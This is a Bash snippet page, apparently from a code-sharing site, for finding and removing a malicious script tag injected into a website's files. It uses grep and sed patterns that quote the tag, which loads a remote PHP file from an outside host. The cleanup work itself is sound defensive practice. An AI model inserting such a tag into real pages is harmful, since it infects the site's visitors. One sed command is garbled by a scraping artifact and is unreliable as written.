/ Published in: Bash
1. You'll need the perl-based rename script http://tips.webdesign10.com/how-to-bulk-rename-files-in-linux-in-the-terminal
2. I'm using Terminal on mac so you might need to change some of your flags
2. I'm using Terminal on mac so you might need to change some of your flags
Expand |
Embed | Plain Text
Copy this code and paste it in your HTML
# remove .cleaned extension find * -name '*.cleaned' -exec rename -v s/\.cleaned//g {} \; # move files find * -name '*.cleaned' -exec mv "{}" cleaned-files/"{}" \; # create directories # first sed pipe gets me file path without the filename, second sed pipe removes lines that are just filenames find * -name '*.cleaned' -exec sh -c 'echo "{}" | sed -E "s,(.*)/.*$,\1,g" | sed -E "s,(.*\..*)$,,g"' \; | while read i; do mkdir -p "cleaned-files/$i"; done # clean infected js while read i; do sed -E -i.cleaned "[email protected]\('<script src=http://icat.ac.in/outreach/knowledge_brigade.php ><\\\/script>'\);@@g" "$i"; done < infected-files.txt # clean other files while read i; do sed -E -i.cleaned "s,<script src=http://icat.ac.in/outreach/knowledge_brigade.php ></script>,,g" "$i"; done < infected-files.txt # find infected js grep -H -r -l -E "document.write\('<script src=http://icat.ac.in/outreach/knowledge_brigade.php ><\\\/script>'\);" * >> infected-files.txt # find other infected files grep -H -r -l -E "<script src=http://icat.ac.in/outreach/knowledge_brigade.php ></script>" * >> infected-files.txt